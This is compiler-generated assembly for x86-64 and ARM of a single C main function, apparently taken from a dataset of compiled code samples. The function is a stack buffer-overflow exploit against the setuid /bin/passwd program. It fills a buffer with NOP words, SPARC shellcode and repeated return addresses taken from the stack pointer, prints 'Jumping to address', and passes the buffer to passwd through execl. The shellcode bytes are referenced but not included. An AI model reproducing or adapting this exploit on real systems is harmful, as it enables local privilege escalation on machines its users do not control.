	.file	"extr_19158.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"passwd"
.LC2:
	.string	"/bin/passwd"
.LC3:
	.string	"execl failed"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	.cfi_offset 15, -24
	mov	r15d, edi
	push	r14
	.cfi_offset 14, -32
	mov	r14, rsi
	push	r13
	push	r12
	push	rbx
	sub	rsp, 24
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	eax, DWORD PTR EXTRA[rip]
	add	eax, DWORD PTR BUF_LENGTH[rip]
	mov	rbx, rsp
	cdqe
	add	rax, 15
	mov	rdx, rax
	and	rax, -4096
	sub	rbx, rax
	and	rdx, -16
	mov	rax, rbx
	cmp	rsp, rax
	je	.L3
.L26:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rax
	jne	.L26
.L3:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L27
.L4:
	mov	rdi, QWORD PTR sparc_shellcode[rip]
	xor	r13d, r13d
	mov	r12, rsp
	call	strlen@PLT
	sub	r15d, 1
	mov	ebx, eax
	jg	.L28
.L5:
	xor	eax, eax
	call	get_sp@PLT
	mov	r11d, DWORD PTR BUF_LENGTH[rip]
	mov	r8d, DWORD PTR STACK_OFFSET[rip]
	mov	edx, r11d
	sub	eax, r8d
	sub	edx, ebx
	sub	eax, r13d
	movsx	rdx, edx
	movsx	r10, eax
	shr	rdx, 2
	je	.L14
	mov	esi, DWORD PTR SPARC_NOP[rip]
	lea	rdx, [r12+rdx*4]
	mov	rcx, r12
	.p2align 4,,10
	.p2align 3
.L7:
	add	rcx, 4
	mov	DWORD PTR -4[rcx], esi
	cmp	rdx, rcx
	jne	.L7
.L6:
	test	ebx, ebx
	jle	.L8
	lea	edi, -1[rbx]
	mov	r9, QWORD PTR sparc_shellcode[rip]
	xor	ecx, ecx
	lea	rbx, 1[rdi]
	.p2align 4,,10
	.p2align 3
.L9:
	mov	esi, DWORD PTR [r9+rcx*4]
	mov	DWORD PTR [rdx+rcx*4], esi
	mov	rsi, rcx
	add	rcx, 1
	cmp	rdi, rsi
	jne	.L9
	lea	rdx, [rdx+rbx*4]
.L8:
	movsx	rcx, DWORD PTR EXTRA[rip]
	mov	r9, rcx
	shr	rcx, 2
	je	.L10
	lea	rcx, [rdx+rcx*4]
	.p2align 4,,10
	.p2align 3
.L11:
	add	rdx, 4
	mov	DWORD PTR -4[rdx], eax
	cmp	rcx, rdx
	jne	.L11
.L10:
	mov	ecx, r9d
	mov	edx, r11d
	lea	rdi, .LC0[rip]
	mov	rsi, r10
	call	printf@PLT
	xor	ecx, ecx
	mov	rdx, r12
	lea	rsi, .LC1[rip]
	lea	rdi, .LC2[rip]
	call	execl@PLT
	lea	rdi, .LC3[rip]
	call	perror@PLT
	mov	rax, QWORD PTR -56[rbp]
	xor	rax, QWORD PTR fs:40
	jne	.L29
	lea	rsp, -40[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L28:
	.cfi_restore_state
	mov	rdi, QWORD PTR 8[r14]
	call	atoi@PLT
	mov	r13d, eax
	jmp	.L5
.L27:
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L4
.L14:
	mov	rdx, r12
	jmp	.L6
.L29:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	sparc_shellcode,8,8
	.comm	STACK_OFFSET,4,4
	.comm	SPARC_NOP,4,4
	.comm	EXTRA,4,4
	.comm	BUF_LENGTH,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_19158.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Jumping to address 0x%lx B[%d] E[%d] SO[%d]\012\000"
	.align	2
.LC1:
	.ascii	"passwd\000"
	.align	2
.LC2:
	.ascii	"/bin/passwd\000"
	.align	2
.LC3:
	.ascii	"execl failed\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC4:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, fp, lr}
	add	fp, sp, #28
	sub	sp, sp, #16
	ldr	r8, .L24
	ldr	r5, .L24+4
	ldr	r3, [r8]
	ldr	r2, [r5]
	ldr	r7, .L24+8
	add	r3, r3, r2
	add	r3, r3, #7
	bic	r3, r3, #7
	sub	sp, sp, r3
	ldr	r3, .L24+12
	mov	r4, r0
	ldr	r0, [r7]
	mov	r9, r1
	ldr	r3, [r3]
	str	r3, [fp, #-32]
	mov	r3,#0
	bl	strlen
	cmp	r4, #1
	mov	r6, r0
	movle	r9, #0
	add	r4, sp, #8
	ble	.L2
	ldr	r0, [r9, #4]
	bl	atoi
	mov	r9, r0
.L2:
	bl	get_sp
	ldr	r3, .L24+16
	ldr	r2, [r8]
	ldr	r8, [r3]
	sub	ip, r2, r6
	sub	r1, r0, r8
	lsrs	ip, ip, #2
	sub	r1, r1, r9
	beq	.L11
	mov	r3, r4
	ldr	r0, .L24+20
	add	ip, r4, ip, lsl #2
	ldr	r0, [r0]
.L4:
	str	r0, [r3], #4
	cmp	r3, ip
	bne	.L4
.L3:
	cmp	r6, #0
	beq	.L5
	ldr	r3, [r7]
	sub	r0, ip, #4
	sub	r3, r3, #4
	lsl	r7, r6, #2
	add	r6, r3, r6, lsl #2
.L6:
	ldr	lr, [r3, #4]!
	cmp	r6, r3
	str	lr, [r0, #4]!
	bne	.L6
	add	ip, ip, r7
.L5:
	ldr	r3, [r5]
	lsrs	r0, r3, #2
	beq	.L7
	add	r0, ip, r0, lsl #2
.L8:
	str	r1, [ip], #4
	cmp	r0, ip
	bne	.L8
.L7:
	ldr	r0, .L24+24
	str	r8, [sp]
	bl	printf
	mov	r2, r4
	mov	r3, #0
	ldr	r1, .L24+28
	ldr	r0, .L24+32
	bl	execl
	ldr	r0, .L24+36
	bl	perror
	ldr	r3, .L24+12
	ldr	r2, [r3]
	ldr	r3, [fp, #-32]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L23
	sub	sp, fp, #28
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, fp, pc}
.L11:
	mov	ip, r4
	b	.L3
.L23:
	bl	__stack_chk_fail
.L25:
	.align	2
.L24:
	.word	BUF_LENGTH
	.word	EXTRA
	.word	sparc_shellcode
	.word	.LC4
	.word	STACK_OFFSET
	.word	SPARC_NOP
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.size	main, .-main
	.comm	sparc_shellcode,4,4
	.comm	STACK_OFFSET,4,4
	.comm	SPARC_NOP,4,4
	.comm	EXTRA,4,4
	.comm	BUF_LENGTH,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
